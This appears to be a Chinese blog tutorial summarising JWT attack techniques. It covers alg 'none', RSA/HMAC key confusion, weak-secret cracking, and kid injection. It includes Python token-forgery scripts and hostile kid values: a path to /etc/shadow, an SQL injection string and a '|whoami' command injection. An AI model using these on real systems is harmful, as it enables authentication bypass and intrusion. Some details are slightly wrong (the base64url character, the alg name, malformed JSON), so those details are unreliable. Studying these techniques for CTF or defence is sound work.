首页 > 其他分享 >jwt攻击方式总结

jwt攻击方式总结

时间:2023-12-15 12:55:18浏览次数:37  
标签:总结 admin jwt header 密钥 payload 攻击方式 kid

jwt攻击方式总结

关于jwt

jwt说简单一些就是一种验证机制

包含三部分:

header

{
   "alg":"HS256",   加密方式
   "typ":"jwt",   类型
}

常用加密方式:

RSA   非对称加密,私钥加密,公钥解密
HMAC  对称加密,一个密钥用于加解密

payload

payload则为用户数据以及一些元数据有关的声明,用以声明权限,举个例子,一次登录的过程可能会传递以下数据

{
        "user_role" : "finn",    //当前登录用户
    "iss": "admin",          //该JWT的签发者
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,         //该时间之前不接收处理该Token
    "domain": "example.com",   //面向的用户
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}

signature

就是用header声明的算法把header和payload连接起来并加密

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

关于base64url编码

为了方便在网络中传输使用了不同的编码表的数据,它在base64的基础上取消了“=”填充,并把“+”替换为“-”,把“\”替换为“_”。

攻击方式

空加密算法

为了支持调试,jwt可以用空加密算法

如果开发人员开启了空加密算法,则可用通过修改alg=None,然后不加signature的值,那么任何的tocken都可以通过验证

#python实现空密钥payload生成
import base64
hearder='{"alg":"none","typ":"jwt"}'
payload='{"username":"admin",:"password":"admin","role":"admin"}'
def jwtBase64Encode(a):
    return base64.b64encode(a.encode("utf-8")).decode().replace('/','_').replace('+','-').replace('=','')
print(jwtBase64Encode(hearder)+'.'+jwtBase64Encode(payload)+'.')
#记住最后要加点号,因为算法为none则signature部分为空

使用HMAC算法

如果使用的是RSA的话必须要获取私钥,才可以得到signature

私钥一般很难获取,但是公钥是有可能得到的

把alg字段值改为HMAC,然后用得到的公钥签名得到token值给服务器

服务器会把公钥作为HMAC算法的密钥来进行验证

信息泄露

在线解码查看header和payload信息

因为header和payload是明文传输,里面可能包含敏感信息

爆破密钥

要爆破jwt密钥来达到攻击目的条件

1.知道一段有效的token值

2.知道jwt的算法

3.密钥是弱密钥(容易爆破)

c-jwt-cracker使用
./cracker tocken
#得到密钥后用python生成jwt的tocken值
import jwt
payload={"usename":"admin","password":"admin","role":"admin"}#该脚本以ctfhub的题为对象
secret="bugg"
print(jwt.encode(payload,secret,algorithm='HS256'))

修改kid值

kid是hearder的一个字段,用户可控制它的值
通过修改kid可用做的事情
1.指定算法密钥
"kid" : "/home/jwt/.ssh/pem"
2.读取敏感信息
"kid" : "/etc/shadow"
3.sql注入
"kid" : "key11111111' || union select 'secretkey' -- "
4.命令执行
条件:
服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
"kid" : "/path/to/key_file|whoami"

标签:总结,admin,jwt,header,密钥,payload,攻击方式,kid
From: https://www.cnblogs.com/q1stop/p/17903149.html

相关文章

  • 每日总结
    Gojko:故事卡本意并不会长期保存。在做短期的优先级排列和计划时它们非常有用。但是当一个故事完成六个月后,如果你需要了解系统时,这些卡片却不会有太大的帮助。而传统的文档又很容易过期。把程序源代码当作唯一可靠的资源用以了解系统的功能,会导致信息瓶颈和黑洞,从长期来看,这正是编......
  • 十一月助教工作总结
    一、助教工作的具体职责和任务配合老师扩展小测题库。批改作业,登记作业完成情况,统计作业知识点错误人数。编写课后作业题目、答案。安排实验时间及实验批次。二、助教工作的每周时长和具体安排主要集中在周五下午布置作业,周末批改作业。1.批改作业,登记作业完成情况2.记......
  • 《2023-2024-1 20232427《网络空间安全导论》第六周学习总结》
    《2023-2024-120232427《网络空间安全导论》第六周学习总结》教学学习内容总结6.1应用安全概述在各类应用服务系统中,身份认证是保障应用安全的基础,其不仅包括传统的人的身份认还,设备.软件等网络实体都需要身份认证和可信管理,不同场所不同约束条件下需要采用多种多样的身份认......
  • 成员函数指针做回调参数总结 踩坑
    成员函数指针做回调参数总结踩坑一、程序升级后,在linux上编译提示错误:warning:convertingfrom‘int(MyClass::)()’to‘void()()’[-Wpmf-conversions]void(myStoredFunction)(void)=(GENERIC_FUNC_TYPE)memberFunc;//Compilerwarning二、出现这个情况是因为,程......
  • 2023-2024-1 20232327《网络空间安全导论》第六周学习总结
    2023-2024-120232327《网络空间安全导论》第六周学习总结教材学习内容总结1.应用安全概述应用安全是指为保障各种应用系统在信息的获取,存储,传输和处理各个环节的安全所涉及的相关技术的总称。云计算已成为当前普及的一种信息服务提供方式,为政府和企业提供了新信息系统构建方......
  • 12.14每日总结
    今天完成建民的课堂测试和.NET考试 软件需求与分析课堂测试十——综合案例分析(5分) 根据下列案例需求描述,回答相关问题:有一个对外营业的会议中心,有各种不同规格的会议室,为用户提供以下服务:1,用户可以按照会议人数,会议时间预订会议室。可以只预订1次,也可预订定期召开的会议......
  • 每日总结12.14
    根据下列案例需求描述,回答相关问题:有一个对外营业的会议中心,有各种不同规格的会议室,为用户提供以下服务:1、用户可以按照会议人数、会议时间预订会议室。可以只预订1次,也可预订定期召开的会议。2、开会前允许用户修改会议时间、人数,重新选择会议室,甚至取消预订的会议。3、......
  • CUDA优化相关问题总结
    如何利用ncu检查sharedmemory传输数据量ncu(NVIDIACommandLineProfiler)是NVIDIACUDA工具包中的一个命令行性能分析工具,可以用于检查共享内存(SharedMemory)的传输情况。SharedMemory是CUDA中的一种共享内存空间,可以在同一个线程块的不同线程之间共享数据。要检查Shared......
  • 2023-2024-1学期20232316《网络空间安全导论》第六章学习总结
    第六章应用安全基础应用安全概述应用安全是什么应用安全是为保障各种应用系统在信息的获取、存储、传输和处理各个环节的安全所涉及的相关技术的总称。应用安全的核心支撑技术是密码技术。应用安全技术的基础和关键技术是系统安全技术与网络安全技术。身份认证是保障应用......
  • 2023-2024 20231313《计算机基础与程序设计》第十二周学习总结
    2023-202420231313《计算机基础与程序设计》第十二周学习总结作业速达作业课程班级链接作业要求计算机基础与程序设计第十二周学习总结作业内容《C语言程序设计》第11章并完成云班课测试作业正文我的作业目录教材总结总结学习过程中的问题《C语言程......